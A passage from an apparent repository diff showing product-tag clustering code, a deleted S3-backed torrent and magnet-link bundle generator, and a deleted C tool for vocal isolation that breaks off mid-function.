seen.add(raw)
tokens.append(raw)
if cap and len(tokens) >= cap:
break
return tokens
def stem_bag(title, description, stopwords=None, with_bigrams=True):
"""Compute per-product stem + bigram bag.
Returns a dict with five keys:
unigram_bag -> Counter[stem] -> weighted count
bigram_bag -> Counter[stem_a + ' ' + stem_b] -> weighted count
title_unigrams -> set of stems that appeared in title
title_bigrams -> set of bigram stems that appeared in title
labels -> {key: best_original_word_or_phrase}
Title tokens contribute `TITLE_WEIGHT`, description tokens
contribute `DESCRIPTION_WEIGHT` (capped). Bigrams are formed from
consecutive non-stopword tokens (so "Write the Room" becomes
"write room" — the stopword "the" is removed first, then adjacent
pairs in what remains).
"""
unigram_bag = Counter()
bigram_bag = Counter()
label_votes = defaultdict(Counter)
title_unigrams = set()
title_bigrams = set()
def _absorb(tokens, source_weight, is_title):
stems = [simple_stem(t) for t in tokens]
original = tokens
for stem, raw in zip(stems, original):
unigram_bag[stem] += source_weight
label_votes[stem][raw] += source_weight
if is_title:
title_unigrams.add(stem)
if with_bigrams:
for i in range(len(stems) - 1):
a, b = stems[i], stems[i + 1]
ra, rb = original[i], original[i + 1]
# Avoid bigrams where the same stem appears twice
# ("fall fall") — they reduce signal.
if a == b:
continue
key = f"{a} {b}"
bigram_bag[key] += source_weight * BIGRAM_WEIGHT_MULTIPLIER
label_votes[key][f"{ra} {rb}"] += source_weight
if is_title:
title_bigrams.add(key)
_absorb(tokenize(title, stopwords=stopwords), TITLE_WEIGHT, True)
_absorb(
tokenize(description, stopwords=stopwords, cap=DESCRIPTION_TOKEN_CAP),
DESCRIPTION_WEIGHT,
False,
)
labels = {k: v.most_common(1)[0][0] for k, v in label_votes.items()}
return {
"unigram_bag": unigram_bag,
"bigram_bag": bigram_bag,
"title_unigrams": title_unigrams,
"title_bigrams": title_bigrams,
"labels": labels,
}
def suggest_clusters(
products,
stopwords=None,
existing_tag_slugs=None,
min_products=DEFAULT_MIN_PRODUCTS,
top_n=DEFAULT_TOP_N,
max_share=DEFAULT_MAX_SHARE,
min_title_share=DEFAULT_MIN_TITLE_SHARE,
bigrams=DEFAULT_BIGRAMS,
):
"""Group products by shared stems + bigrams and rank candidates.
Args:
products: iterable of objects with `.id`, `.title`, `.description`.
stopwords: list of lowercase strings to exclude in addition to the
English defaults.
existing_tag_slugs: iterable of slugs already present as Tag rows
for the shop; skipped so we don't re-suggest
already-applied categories.
min_products: minimum products sharing a stem to qualify.
top_n: maximum candidate clusters returned.
max_share: fraction (0..1). A stem appearing in more than this
share of the catalog is dropped as shop vocabulary.
`1.0` disables the filter.
min_title_share: fraction (0..1). For each candidate, at least
this share of products carrying it must have it
in their *title* (vs description-only). `0.0`
disables the filter.
bigrams: include adjacent non-stopword token pairs as candidates
(`write room`, `first grade`). Bigrams get
`BIGRAM_WEIGHT_MULTIPLIER × ` the score per product;
phrases are more specific than single words.
Returns:
Tuple of (clusters, filtered_count):
clusters: list of dicts ranked by product count desc:
{
"stem": "season" or "first grade",
"label": "Seasonal" or "First Grade",
"score": 117,
"product_ids": [<uuid>, <uuid>, ...],
"sample_titles": ["...", "...", ...],
"is_bigram": False or True,
}
filtered_count: number of stems auto-dropped as shop
vocabulary or description-only noise.
"""
from slugify import slugify # local import; only needed here
skip = {s.lower() for s in (existing_tag_slugs or [])}
# Per-key bookkeeping. Keys are either "stem" or "stem_a stem_b".
key_score = Counter()
key_products = defaultdict(list) # key -> [product_id, ...]
key_title_products = defaultdict(set) # key -> {product_id, ...} (in title)
key_labels = defaultdict(Counter) # key -> Counter(original_phrase)
key_titles = defaultdict(list) # key -> [title, ...] for samples
key_is_bigram = {} # key -> bool
total_products = 0
for product in products:
total_products += 1
title = product.title or ""
description = product.description or ""
bag = stem_bag(
title, description, stopwords=stopwords, with_bigrams=bigrams,
)
# Unigrams
for key, weight in bag["unigram_bag"].items():
key_score[key] += weight
key_products[key].append(product.id)
key_titles[key].append(title)
if bag["labels"].get(key):
key_labels[key][bag["labels"][key]] += weight
key_is_bigram.setdefault(key, False)
if key in bag["title_unigrams"]:
key_title_products[key].add(product.id)
# Bigrams
for key, weight in bag["bigram_bag"].items():
key_score[key] += weight
key_products[key].append(product.id)
key_titles[key].append(title)
if bag["labels"].get(key):
key_labels[key][bag["labels"][key]] += weight
key_is_bigram[key] = True
if key in bag["title_bigrams"]:
key_title_products[key].add(product.id)
candidates = []
filtered_count = 0
for key, ids in key_products.items():
n = len(ids)
if n < min_products:
continue
# Drop stems that describe the whole shop, not a category subset.
if total_products > 0 and max_share < 1.0:
if n / total_products > max_share:
filtered_count += 1
continue
# Drop description-only noise — stem barely appears in titles.
if min_title_share > 0.0:
title_share = len(key_title_products[key]) / n
if title_share < min_title_share:
filtered_count += 1
continue
# Best-vote original word/phrase becomes the candidate label.
label_raw = (
key_labels[key].most_common(1)[0][0] if key_labels[key] else key
)
# Title-case so "first grade" → "First Grade".
label = " ".join(w.capitalize() for w in label_raw.split())
candidate_slug = slugify(label)[:80]
if not candidate_slug or candidate_slug in skip:
continue
candidates.append({
"stem": key,
"label": label,
"slug": candidate_slug,
"score": key_score[key],
"product_ids": ids,
"sample_titles": key_titles[key][:3],
"is_bigram": key_is_bigram.get(key, False),
})
candidates.sort(
key=lambda c: (len(c["product_ids"]), c["score"]),
reverse=True,
)
# Bigram supersession: a unigram drops ONLY when a *single* bigram
# already covers ≥ SUPERSESSION_THRESHOLD of its product set — i.e.
# the unigram is a fragment of one phrase ("write" → "write room";
# the operator wants one "Write Room" row, not "Write Room" + "Write"
# + "Room").
#
# An umbrella unigram covered only by the UNION of several DISTINCT
# bigrams (e.g. "holiday" → "december holiday" + "winter holiday" +
# "christmas holiday"; "day" → "valentine day" + "patrick day") is a
# real standalone category and is KEPT. (Operator: they want
# "holiday" recommended on its own even though "December Holiday"
# also surfaces.) Previously the union was superseded too, which
# hid these broad categories.
SUPERSESSION_THRESHOLD = 0.8
bigram_components = defaultdict(list)
for c in candidates:
if c["is_bigram"]:
for stem in c["stem"].split():
bigram_components[stem].append(c)
superseded = set()
for c in candidates:
if c["is_bigram"]:
continue
c_ids = set(c["product_ids"])
if not c_ids:
continue
best_single = 0.0
for big in bigram_components.get(c["stem"], []):
overlap = len(c_ids & set(big["product_ids"])) / len(c_ids)
if overlap > best_single:
best_single = overlap
if best_single >= SUPERSESSION_THRESHOLD:
superseded.add(c["stem"])
filtered_count += 1
candidates = [c for c in candidates if c["stem"] not in superseded]
return candidates[:top_n], filtered_count
def auto_hydrate_tags(dbsession, product):
"""Auto-file a product into the shop's EXISTING tags by its content.
Called when a product is created or its title/description changes.
A tag matches when EVERY stem of its name appears in the product's
title+description stem set, so unigram tags ("Holiday") and phrase
tags ("First Grade", "Novel Studies") both work. Reuses the same
tokenize/simple_stem as the suggest engine for consistency.
Contract (deliberately conservative):
* ADDITIVE only — never removes a tag (operator/explicit tags and
prior auto-tags are preserved).
* IDEMPOTENT — skips tags already on the product.
* Never CREATES tags — inventing categories stays
suggest-then-approve. This only files products into categories
the operator already defined.
Returns the list of Tag rows newly attached (for flash/logging).
"""
shop = product.shop
if shop is None:
return []
from ..models.tag import tags_by_popularity
tags = tags_by_popularity(dbsession, shop)
if not tags:
return []
stopwords = list(shop.tag_stopwords)
prod_tokens = tokenize(product.title or "", stopwords=stopwords)
prod_tokens += tokenize(
product.description or "",
stopwords=stopwords,
cap=DESCRIPTION_TOKEN_CAP,
)
prod_stems = {simple_stem(t) for t in prod_tokens}
if not prod_stems:
return []
existing_ids = {t.id for t in product.tags}
attached = []
for tag in tags:
if tag.id in existing_ids:
continue
name_tokens = tokenize(tag.name or "", stopwords=stopwords)
if not name_tokens:
# Tag name is all stopwords/punctuation — nothing safe to
# match on; skip rather than mis-file.
continue
name_stems = {simple_stem(t) for t in name_tokens}
if name_stems <= prod_stems:
product.tags.append(tag)
attached.append(tag)
return attached

304
make_post_sell/lib/torrent.py
View file

@ -1,304 +0,0 @@
"""torrent.py — .torrent + magnet link generation for product bundles.
Bundle contents depend on product type:
Free content (is_sellable=False):
content.{ext} ← the actual file (freely distributed)
thumbnail1.{ext} ← cover image
thumbnail2..4.{ext} ← additional images (if present)
description.md ← product description
Paid product (is_sellable=True):
preview.{ext} ← preview file only (the paid file is NOT included)
thumbnail1.{ext}
thumbnail2..4.{ext}
description.md
Thumbnails + description travel with both types.
The paid product file is never seeded — it's gated behind normal payment flow.
Pipeline per product:
1. Download bundle files from S3 into a temp directory
2. Build a multi-file .torrent with torf (BEP 3/BEP 19 web seeds)
3. Upload the .torrent back to S3 at {s3_path}/bundle.torrent
4. Derive magnet link from torrent info hash
5. Save magnet + torrent URL to product row in DB
Fire-and-forget daemon threads — same pattern as s3_mirror.
"""
import logging
import os
import tempfile
import threading
import boto3
log = logging.getLogger(__name__)
DEFAULT_TRACKERS = [
"udp://tracker.opentrackr.org:1337/announce",
"udp://open.stealth.si:80/announce",
"udp://tracker.torrent.eu.org:451/announce",
"udp://tracker.openbittorrent.com:80/announce",
]
# ── S3 credential helpers ─────────────────────────────────────────────────────
def _capture_s3_creds(client):
"""Extract serialisable credentials from a boto3 client."""
creds = client._request_signer._credentials
meta = client.meta
return {
"endpoint": meta.endpoint_url,
"region": meta.region_name,
"access_key": creds.access_key,
"secret_key": creds.secret_key,
}
def _make_client(creds):
return boto3.session.Session().client(
"s3",
region_name=creds["region"],
endpoint_url=creds["endpoint"],
aws_access_key_id=creds["access_key"],
aws_secret_access_key=creds["secret_key"],
)
# ── Bundle file list builder ──────────────────────────────────────────────────
def build_bundle_files(product, cdn_endpoint):
"""Return a list of dicts describing every file that belongs in the torrent.
Each dict:
s3_key — key in the S3 bucket
filename — local filename to use inside the torrent directory
webseed_url — BEP-19 HTTP seed URL (or None)
The paid product file is intentionally excluded for sellable products.
"""
s3_path = product.s3_path
originals = product.originals
extensions = product.extensions
def cdn(s3_key):
return f"{cdn_endpoint}/{s3_key}" if cdn_endpoint else None
files = []
if product.is_sellable:
# Paid product — seed preview only, never the product file.
if "preview" in originals:
ext = extensions.get("preview", "")
s3_key = f"{s3_path}/preview"
files.append({
"s3_key": s3_key,
"filename": f"preview.{ext}" if ext else "preview",
"webseed_url": cdn(s3_key),
})
else:
# Free content — seed the content file.
if "product" in originals:
ext = extensions.get("product", "")
s3_key = f"{s3_path}/product"
files.append({
"s3_key": s3_key,
"filename": f"content.{ext}" if ext else "content",
"webseed_url": cdn(s3_key),
})
# Thumbnails — same for both types.
for key in ["thumbnail1", "thumbnail2", "thumbnail3", "thumbnail4"]:
if key in originals:
ext = extensions.get(key, "")
s3_key = f"{s3_path}/{key}"
files.append({
"s3_key": s3_key,
"filename": f"{key}.{ext}" if ext else key,
"webseed_url": cdn(s3_key),
})
return files
# ── Core torrent generator (runs in background thread) ───────────────────────
def generate_torrent(s3_client, bucket, bundle_name, files, description,
s3_path, product_id, session_factory,
trackers=None, cdn_endpoint=None):
"""Download files from S3, build a directory .torrent, upload, save to DB.
bundle_name: torrent name / top-level directory inside the .torrent
files: list of {s3_key, filename, webseed_url} dicts (from build_bundle_files)
description: product description text (written as description.md)
s3_path: {shop_id}/{product_id} — where to upload the .torrent file
"""
if trackers is None:
trackers = DEFAULT_TRACKERS
if not files:
log.warning("torrent: no files to bundle for product=%s — skipping", product_id)
return
try:
import torf
except ImportError:
raise RuntimeError("torf is required — pip install torf")
log.info("torrent: generating bundle '%s' for product=%s (%d files)",
bundle_name, product_id, len(files))
with tempfile.TemporaryDirectory() as tmpdir:
bundle_dir = os.path.join(tmpdir, bundle_name)
os.makedirs(bundle_dir)
webseeds = []
downloaded = set() # filenames that actually landed on disk
# 1. Download each file from S3 into the bundle directory.
for f in files:
local_path = os.path.join(bundle_dir, f["filename"])
log.info("torrent: downloading s3://%s/%s → %s", bucket, f["s3_key"], f["filename"])
try:
s3_client.download_file(bucket, f["s3_key"], local_path)
downloaded.add(f["filename"])
except Exception:
log.warning("torrent: skipping missing file s3://%s/%s", bucket, f["s3_key"])
continue
if f.get("webseed_url"):
webseeds.append(f["webseed_url"])
# 2. Write index.md + index.html into the bundle directory.
# Separate the main file (content/preview) from thumbnails using the
# filename prefix — build_bundle_files names them content.*, preview.*,
# and thumbnail1..4.*.
main_file = next(
(f for f in files
if f["filename"].startswith(("content.", "preview."))
and f["filename"] in downloaded),
None,
)
thumb_files = [
f for f in files
if f["filename"].startswith("thumbnail")
and f["filename"] in downloaded
]
if description:
with open(os.path.join(bundle_dir, "index.md"), "w", encoding="utf-8") as fh:
fh.write(description)
try:
import markdown as _md
html_body = _md.markdown(description or "", extensions=["fenced_code", "tables"])
except ImportError:
html_body = f"<pre>{description}</pre>" if description else ""
# Thumbnail gallery — relative links, rendered inline.
thumb_html = ""
if thumb_files:
imgs = "".join(
f'<a href="{f["filename"]}">'
f'<img src="{f["filename"]}" style="max-width:320px;margin:4px" /></a>'
for f in thumb_files
)
thumb_html = f'<div class="thumbnails" style="display:flex;flex-wrap:wrap;gap:4px">{imgs}</div>\n'
# Main file link — download anchor.
main_html = ""
if main_file:
label = "Download" if main_file["filename"].startswith("content.") else "Preview"
main_html = (
f'<p><a href="{main_file["filename"]}" download>'
f'{label}: {main_file["filename"]}</a></p>\n'
)
html = (
"<!DOCTYPE html>\n<html>\n<head>"
"<meta charset='utf-8'>"
f"<title>{bundle_name}</title>"
"<style>body{font-family:sans-serif;max-width:800px;margin:2em auto;padding:0 1em}"
"img{border-radius:4px}a{color:#16a34a}</style>"
"</head>\n<body>\n"
f"<h1>{bundle_name}</h1>\n"
+ thumb_html
+ main_html
+ html_body
+ "\n</body>\n</html>\n"
)
with open(os.path.join(bundle_dir, "index.html"), "w", encoding="utf-8") as fh:
fh.write(html)
# 3. Build multi-file .torrent from the bundle directory.
t = torf.Torrent(
path=bundle_dir,
name=bundle_name,
trackers=[[tr] for tr in trackers],
webseeds=webseeds,
private=False,
comment="permacomputer.com — open distribution bundle",
source="permacomputer",
)
t.generate()
magnet_uri = str(t.magnet())
log.info("torrent: magnet=%s", magnet_uri)
# 4. Write and upload the .torrent file.
torrent_path = os.path.join(tmpdir, "bundle.torrent")
t.write(torrent_path)
torrent_s3_key = f"{s3_path}/bundle.torrent"
s3_client.upload_file(
torrent_path,
bucket,
torrent_s3_key,
ExtraArgs={
"ACL": "public-read",
"ContentType": "application/x-bittorrent",
"ContentDisposition": f'attachment; filename="{bundle_name}.torrent"',
"CacheControl": "public, max-age=86400",
},
)
log.info("torrent: uploaded .torrent to s3://%s/%s", bucket, torrent_s3_key)
torrent_file_url = (
f"{cdn_endpoint}/{torrent_s3_key}" if cdn_endpoint else None
)
# 5. Save magnet + torrent URL to the product row.
try:
with session_factory() as session:
from ..models.product import Product
product = session.get(Product, product_id)
if product is not None:
product.torrent_magnet_link = magnet_uri
product.torrent_file_url = torrent_file_url
session.add(product)
session.commit()
log.info("torrent: saved magnet + torrent_file_url for product=%s", product_id)
except Exception:
log.exception("torrent: failed to save torrent data for product=%s", product_id)
def generate_torrent_async(s3_client, bucket, bundle_name, files, description,
s3_path, product_id, session_factory,
trackers=None, cdn_endpoint=None):
"""Fire-and-forget: generate torrent bundle in a daemon thread."""
creds = _capture_s3_creds(s3_client)
def _run():
try:
fresh_client = _make_client(creds)
generate_torrent(
fresh_client, bucket, bundle_name, files, description,
s3_path, product_id, session_factory,
trackers=trackers, cdn_endpoint=cdn_endpoint,
)
except Exception:
log.exception("torrent: background generation failed for product=%s", product_id)
t = threading.Thread(target=_run, daemon=True, name=f"torrent-{product_id}")
t.start()
log.info("torrent: background thread started for product=%s", product_id)

3359
make_post_sell/lib/un.py
View file

File diff suppressed because it is too large Load diff

718
make_post_sell/lib/voxsplit.c
View file

@ -1,718 +0,0 @@
/*
* voxsplit.c — Spectral mid-side vocal isolation tool.
*
* Separates vocals from instrumental in stereo WAV files using spectral
* mid-side decomposition with Wiener masking. No ML dependencies.
*
* Algorithm: Vocals are almost always panned center in professional mixes.
* 1. STFT both channels (Hann window, 4096 samples, 75% overlap)
* 2. Decompose each bin into mid (L+R)/2 and side (L-R)/2
* 3. Wiener mask: vocal_mask = |mid|^s / (|mid|^s + |side|^s + eps)
* 4. Vocals = mask * mid, Instrumental = original - vocals
* 5. ISTFT with overlap-add reconstruction
*
* Zero dependencies beyond libc + libm. Calls ffmpeg for MP3 encoding.
*
* Usage:
* voxsplit song.wav -o split
* voxsplit song.wav --mp3 --strength 1.5 -o karaoke
*
* Build:
* gcc -O2 -o voxsplit voxsplit.c -lm
*/
#include <math.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#ifndef M_PI
#define M_PI 3.14159265358979323846
#endif
#define FFT_SIZE 4096
#define HOP_SIZE 1024 /* 75% overlap: FFT_SIZE / 4 */
#define EPSILON 1e-10
/* ── Complex Arithmetic ────────────────────────────────────────── */
typedef struct { double re, im; } cpx;
static cpx cpx_add(cpx a, cpx b) { return (cpx){a.re + b.re, a.im + b.im}; }
static cpx cpx_sub(cpx a, cpx b) { return (cpx){a.re - b.re, a.im - b.im}; }
static cpx cpx_mul(cpx a, cpx b)
{
return (cpx){a.re * b.re - a.im * b.im, a.re * b.im + a.im * b.re};
}
static cpx cpx_scale(cpx a, double s) { return (cpx){a.re * s, a.im * s}; }
static double cpx_mag2(cpx a) { return a.re * a.re + a.im * a.im; }
static double cpx_mag(cpx a) { return sqrt(cpx_mag2(a)); }
/* ── FFT — Cooley-Tukey Radix-2 In-Place ──────────────────────── */
static void bit_reverse(cpx *buf, int n)
{
for (int i = 1, j = 0; i < n; i++) {
int bit = n >> 1;
while (j & bit) { j ^= bit; bit >>= 1; }
j ^= bit;
if (i < j) {
cpx tmp = buf[i];
buf[i] = buf[j];
buf[j] = tmp;
}
}
}
/* Forward FFT (sign = -1) or inverse FFT (sign = +1). */
static void fft_impl(cpx *buf, int n, int sign)
{
bit_reverse(buf, n);
for (int len = 2; len <= n; len <<= 1) {
double angle = sign * 2.0 * M_PI / len;
cpx wn = {cos(angle), sin(angle)};
for (int i = 0; i < n; i += len) {
cpx w = {1.0, 0.0};
for (int j = 0; j < len / 2; j++) {
cpx u = buf[i + j];
cpx v = cpx_mul(w, buf[i + j + len / 2]);
buf[i + j] = cpx_add(u, v);
buf[i + j + len / 2] = cpx_sub(u, v);
w = cpx_mul(w, wn);
}
}
}
if (sign == 1) {
for (int i = 0; i < n; i++) {
buf[i].re /= n;
buf[i].im /= n;
}
}
}
static void fft_forward(cpx *buf, int n) { fft_impl(buf, n, -1); }
static void fft_inverse(cpx *buf, int n) { fft_impl(buf, n, 1); }
/* ── Window Functions ──────────────────────────────────────────── */
static void make_hann_window(double *win, int n)
{
for (int i = 0; i < n; i++)
win[i] = 0.5 * (1.0 - cos(2.0 * M_PI * i / n));
}
/* ── WAV I/O ───────────────────────────────────────────────────── */
static uint16_t read_le16(FILE *f)
{
uint8_t b[2] = {0};
if (fread(b, 1, 2, f) < 2) return 0;
return b[0] | (b[1] << 8);
}
static uint32_t read_le32(FILE *f)
{
uint8_t b[4] = {0};
if (fread(b, 1, 4, f) < 4) return 0;
return b[0] | (b[1] << 8) | (b[2] << 16) | ((uint32_t)b[3] << 24);
}
static void write_le16(FILE *f, uint16_t v)
{
uint8_t b[2] = {v & 0xFF, (v >> 8) & 0xFF};
fwrite(b, 1, 2, f);
}
static void write_le32(FILE *f, uint32_t v)
{
uint8_t b[4] = {v & 0xFF, (v >> 8) & 0xFF, (v >> 16) & 0xFF, (v >> 24) & 0xFF};
fwrite(b, 1, 4, f);
}
typedef struct {
int sample_rate;
int channels;
int bits_per_sample;
int n_samples; /* total samples (all channels) */
double *left; /* normalized -1..1 */
double *right; /* normalized -1..1 */
int frames; /* samples per channel */
} WavFile;
static int wav_read(const char *path, WavFile *wav)
{
FILE *f = fopen(path, "rb");
if (!f) { fprintf(stderr, "error: cannot open '%s'\n", path); return -1; }
/* RIFF header */
char riff[4] = {0};
if (fread(riff, 1, 4, f) < 4 || memcmp(riff, "RIFF", 4) != 0) {
fprintf(stderr, "error: '%s' is not a WAV file\n", path);
fclose(f); return -1;
}
read_le32(f); /* file size */
char wave[4] = {0};
if (fread(wave, 1, 4, f) < 4 || memcmp(wave, "WAVE", 4) != 0) {
fprintf(stderr, "error: '%s' is not a WAV file\n", path);
fclose(f); return -1;
}
/* Find fmt and data chunks */
int got_fmt = 0;
uint32_t data_size = 0;
int audio_format = 0;
while (!feof(f)) {
char chunk_id[4];
if (fread(chunk_id, 1, 4, f) != 4) break;
uint32_t chunk_size = read_le32(f);
if (memcmp(chunk_id, "fmt ", 4) == 0) {
audio_format = read_le16(f);
wav->channels = read_le16(f);
wav->sample_rate = read_le32(f);
read_le32(f); /* byte rate */
read_le16(f); /* block align */
wav->bits_per_sample = read_le16(f);
/* Skip extra fmt bytes */
if (chunk_size > 16) fseek(f, chunk_size - 16, SEEK_CUR);
got_fmt = 1;
} else if (memcmp(chunk_id, "data", 4) == 0) {
data_size = chunk_size;
break; /* data follows */
} else {
fseek(f, chunk_size, SEEK_CUR);
}
}
if (!got_fmt || data_size == 0) {
fprintf(stderr, "error: '%s' missing fmt or data chunk\n", path);
fclose(f); return -1;
}
if (audio_format != 1) {
fprintf(stderr, "error: '%s' is not PCM (format=%d)\n", path, audio_format);
fclose(f); return -1;
}
if (wav->channels != 2) {
fprintf(stderr, "error: '%s' has %d channel(s) — voxsplit requires stereo input\n",
path, wav->channels);
fclose(f); return -1;
}
int bytes_per_sample = wav->bits_per_sample / 8;
int block = bytes_per_sample * wav->channels;
wav->frames = data_size / block;
wav->n_samples = wav->frames * wav->channels;
wav->left = malloc(wav->frames * sizeof(double));
wav->right = malloc(wav->frames * sizeof(double));
if (!wav->left || !wav->right) {
fprintf(stderr, "error: out of memory (%.1f MB needed)\n",
wav->frames * 2.0 * sizeof(double) / (1024 * 1024));
fclose(f); return -1;
}
/* Read and normalize samples */
uint8_t *raw = malloc(data_size);
if (!raw) {
fprintf(stderr, "error: out of memory for raw audio\n");
fclose(f); return -1;
}
if (fread(raw, 1, data_size, f) < data_size) {
fprintf(stderr, "warning: truncated audio data in '%s'\n", path);
}
fclose(f);
for (int i = 0; i < wav->frames; i++) {
double l, r;
uint8_t *p = raw + i * block;
if (bytes_per_sample == 2) {
int16_t sl = (int16_t)(p[0] | (p[1] << 8));
int16_t sr = (int16_t)(p[2] | (p[3] << 8));
l = sl / 32768.0;
r = sr / 32768.0;
} else if (bytes_per_sample == 3) {
int32_t sl = (p[0] << 8) | (p[1] << 16) | ((int32_t)(int8_t)p[2] << 24);
int32_t sr_v = (p[3] << 8) | (p[4] << 16) | ((int32_t)(int8_t)p[5] << 24);
l = sl / 2147483648.0;
r = sr_v / 2147483648.0;
} else if (bytes_per_sample == 4) {
int32_t sl = (int32_t)(p[0] | (p[1] << 8) | (p[2] << 16) | ((uint32_t)p[3] << 24));
int32_t sr_v = (int32_t)(p[4] | (p[5] << 8) | (p[6] << 16) | ((uint32_t)p[7] << 24));
l = sl / 2147483648.0;
r = sr_v / 2147483648.0;
} else {
fprintf(stderr, "error: unsupported bit depth %d\n", wav->bits_per_sample);
free(raw); free(wav->left); free(wav->right);
return -1;
}
wav->left[i] = l;
wav->right[i] = r;
}
free(raw);
return 0;
}
static int wav_write_stereo(const char *path, const double *left, const double *right,
int frames, int sample_rate)
{
FILE *f = fopen(path, "wb");
if (!f) { fprintf(stderr, "error: cannot create '%s'\n", path); return -1; }
int bytes_per_sample = 2;
int channels = 2;
int data_size = frames * channels * bytes_per_sample;
/* RIFF header */
fwrite("RIFF", 1, 4, f);
write_le32(f, 36 + data_size);
fwrite("WAVE", 1, 4, f);
/* fmt chunk */
fwrite("fmt ", 1, 4, f);
write_le32(f, 16);
write_le16(f, 1); /* PCM */
write_le16(f, channels);
write_le32(f, sample_rate);
write_le32(f, sample_rate * channels * bytes_per_sample); /* byte rate */
write_le16(f, channels * bytes_per_sample); /* block align */
write_le16(f, bytes_per_sample * 8); /* bits */
/* data chunk */
fwrite("data", 1, 4, f);
write_le32(f, data_size);
for (int i = 0; i < frames; i++) {
double l = left[i];
double r = right[i];
/* Clamp */
if (l > 1.0) l = 1.0;
if (l < -1.0) l = -1.0;
if (r > 1.0) r = 1.0;
if (r < -1.0) r = -1.0;
int16_t sl = (int16_t)(l * 32767.0);
int16_t sr = (int16_t)(r * 32767.0);
write_le16(f, (uint16_t)sl);
write_le16(f, (uint16_t)sr);
}
fclose(f);
return 0;
}
static void wav_free(WavFile *wav)
{
free(wav->left);
free(wav->right);
wav->left = wav->right = NULL;
}
/* ── STFT / ISTFT ──────────────────────────────────────────────── */
/*
* Compute STFT of a mono signal.
* Returns a 2D array of complex spectra: n_frames x FFT_SIZE.
* Sets *out_frames to the number of frames.
*/
static cpx *stft(const double *signal, int n_samples, const double *window,
int *out_frames)
{
int n_frames = (n_samples - FFT_SIZE) / HOP_SIZE + 1;
if (n_frames < 1) n_frames = 1;
*out_frames = n_frames;
cpx *spectra = calloc((size_t)n_frames * FFT_SIZE, sizeof(cpx));
if (!spectra) return NULL;
for (int f = 0; f < n_frames; f++) {
int offset = f * HOP_SIZE;
cpx *frame = spectra + (size_t)f * FFT_SIZE;
for (int i = 0; i < FFT_SIZE; i++) {
int idx = offset + i;
double val = (idx < n_samples) ? signal[idx] : 0.0;
frame[i] = (cpx){val * window[i], 0.0};
}
fft_forward(frame, FFT_SIZE);
}
return spectra;
}
/*
* Inverse STFT with overlap-add.
* Takes n_frames x FFT_SIZE complex spectra, returns reconstructed signal.
* Sets *out_samples to length of output.
*/
static double *istft(const cpx *spectra, int n_frames, const double *window,
int *out_samples)
{
int out_len = (n_frames - 1) * HOP_SIZE + FFT_SIZE;
*out_samples = out_len;
double *output = calloc(out_len, sizeof(double));
double *norm = calloc(out_len, sizeof(double));
if (!output || !norm) { free(output); free(norm); return NULL; }
cpx *frame = malloc(FFT_SIZE * sizeof(cpx));
for (int f = 0; f < n_frames; f++) {
int offset = f * HOP_SIZE;
memcpy(frame, spectra + (size_t)f * FFT_SIZE, FFT_SIZE * sizeof(cpx));
fft_inverse(frame, FFT_SIZE);
for (int i = 0; i < FFT_SIZE; i++) {
int idx = offset + i;
if (idx < out_len) {
output[idx] += frame[i].re * window[i];
norm[idx] += window[i] * window[i];
}
}
}
free(frame);
/* Normalize by window sum */
for (int i = 0; i < out_len; i++) {
if (norm[i] > EPSILON)
output[i] /= norm[i];
}
free(norm);
return output;
}
/* ── Separation ────────────────────────────────────────────────── */
typedef struct {
double *vocal_left;
double *vocal_right;
double *inst_left;
double *inst_right;
int frames;
} SplitResult;
static SplitResult separate(const WavFile *wav, double strength)
{
SplitResult result = {0};
int n = wav->frames;
fprintf(stderr, " input: %d frames, %d Hz, %.1fs\n",
n, wav->sample_rate, (double)n / wav->sample_rate);
/* Analysis window */
double window[FFT_SIZE];
make_hann_window(window, FFT_SIZE);
/* STFT both channels */
fprintf(stderr, " computing STFT...\n");
int n_frames_l, n_frames_r;
cpx *spec_l = stft(wav->left, n, window, &n_frames_l);
cpx *spec_r = stft(wav->right, n, window, &n_frames_r);
int n_frames = n_frames_l < n_frames_r ? n_frames_l : n_frames_r;
fprintf(stderr, " %d STFT frames (%d bins each)\n", n_frames, FFT_SIZE);
/* Allocate vocal spectra (same dimensions) */
cpx *vocal_spec_l = calloc((size_t)n_frames * FFT_SIZE, sizeof(cpx));
cpx *vocal_spec_r = calloc((size_t)n_frames * FFT_SIZE, sizeof(cpx));
/* Mid-side decomposition + Wiener masking */
fprintf(stderr, " applying Wiener mask (strength=%.2f)...\n", strength);
for (int f = 0; f < n_frames; f++) {
cpx *fl = spec_l + (size_t)f * FFT_SIZE;
cpx *fr = spec_r + (size_t)f * FFT_SIZE;
cpx *vl = vocal_spec_l + (size_t)f * FFT_SIZE;
cpx *vr = vocal_spec_r + (size_t)f * FFT_SIZE;
for (int b = 0; b < FFT_SIZE; b++) {
/* Mid = (L+R)/2, Side = (L-R)/2 */
cpx mid = cpx_scale(cpx_add(fl[b], fr[b]), 0.5);
cpx side = cpx_scale(cpx_sub(fl[b], fr[b]), 0.5);
double mid_mag = cpx_mag(mid);
double side_mag = cpx_mag(side);
/* Wiener mask: |mid|^s / (|mid|^s + |side|^s + eps) */
double mid_pow = pow(mid_mag, strength);
double side_pow = pow(side_mag, strength);
double mask = mid_pow / (mid_pow + side_pow + EPSILON);
/* Vocal component: mask applied to mid, duplicated to both channels */
cpx vocal = cpx_scale(mid, mask);
vl[b] = vocal;
vr[b] = vocal;
}
}
/* ISTFT to recover vocal signals */
fprintf(stderr, " reconstructing vocals...\n");
int out_l, out_r;
double *vocal_left = istft(vocal_spec_l, n_frames, window, &out_l);
double *vocal_right = istft(vocal_spec_r, n_frames, window, &out_r);
free(vocal_spec_l);
free(vocal_spec_r);
free(spec_l);
free(spec_r);
/* Output length = original length */
int out_frames = n;
if (out_l < out_frames) out_frames = out_l;
if (out_r < out_frames) out_frames = out_r;
/* Instrumental = original - vocals */
fprintf(stderr, " computing instrumental...\n");
double *inst_left = malloc(out_frames * sizeof(double));
double *inst_right = malloc(out_frames * sizeof(double));
for (int i = 0; i < out_frames; i++) {
inst_left[i] = wav->left[i] - vocal_left[i];
inst_right[i] = wav->right[i] - vocal_right[i];
}
result.vocal_left = vocal_left;
result.vocal_right = vocal_right;
result.inst_left = inst_left;
result.inst_right = inst_right;
result.frames = out_frames;
return result;
}
static void split_free(SplitResult *r)
{
free(r->vocal_left);
free(r->vocal_right);
free(r->inst_left);
free(r->inst_right);
}
/* ── MP3 via ffmpeg ────────────────────────────────────────────── */
static int wav_to_mp3(const char *wav_path, const char *mp3_path)
{
char cmd[2048];
snprintf(cmd, sizeof(cmd),
